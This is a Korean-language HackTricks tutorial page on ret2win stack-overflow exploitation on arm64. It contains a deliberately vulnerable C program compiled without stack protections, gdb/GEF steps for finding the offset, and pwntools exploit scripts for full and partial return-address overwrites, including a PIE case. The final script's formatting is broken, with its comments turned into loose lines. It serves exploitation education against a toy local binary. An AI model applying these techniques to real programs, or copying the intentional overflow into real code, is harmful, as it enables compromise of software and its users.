Ret2win - arm64
arm64에 대한 소개는 다음에서 확인하세요:
Introduction to ARM64v8코드
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
파이 및 카나리 없이 컴파일:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
오프셋 찾기
패턴 옵션
이 예제는 GEF를 사용하여 생성되었습니다:
gef로 gdb를 시작하고, 패턴을 생성한 후 사용합니다:
gdb -q ./ret2win
pattern create 200
run
arm64는 손상된 레지스터 x30의 주소로 돌아가려고 시도합니다. 이를 사용하여 패턴 오프셋을 찾을 수 있습니다:
오프셋은 72입니다 (9x48).
스택 오프셋 옵션
pc 레지스터가 저장된 스택 주소를 가져오는 것부터 시작합니다:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
이제 read() 이후에 중단점을 설정하고 read()가 실행될 때까지 계속 진행한 다음 13371337과 같은 패턴을 설정합니다:
b *vulnerable_function+28
c
이 패턴이 메모리에 저장된 위치를 찾으세요:
그런 다음: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
No PIE
Regular
win 함수의 주소를 가져오세요:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
익스플로잇:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
Off-by-1
사실 이것은 스택에 저장된 PC에서 오프 바이 2와 더 비슷할 것입니다. 모든 반환 주소를 덮어쓰는 대신 마지막 2바이트만 0x06c4로 덮어쓸 것입니다.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
ARM64에서 또 다른 off-by-one 예제를 https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/에서 찾을 수 있으며, 이는 허구의 취약점에서 실제 off-by-one입니다.
PIE와 함께
바이너리를 -no-pie 인수 없이 컴파일하세요
Off-by-2
리크가 없으면 승리 함수의 정확한 주소를 알 수 없지만, 바이너리에서 함수의 오프셋을 알 수 있으며, 우리가 덮어쓰고 있는 반환 주소가 이미 가까운 주소를 가리키고 있다는 것을 알면, 이 경우 승리 함수의 오프셋(0x7d4)을 리크하고 그 오프셋을 사용할 수 있습니다:
```python from pwn import *
Configuration
binary_name = './ret2win' p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
<div data-gb-custom-block data-tag="hint" data-style='success'>
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
</div>
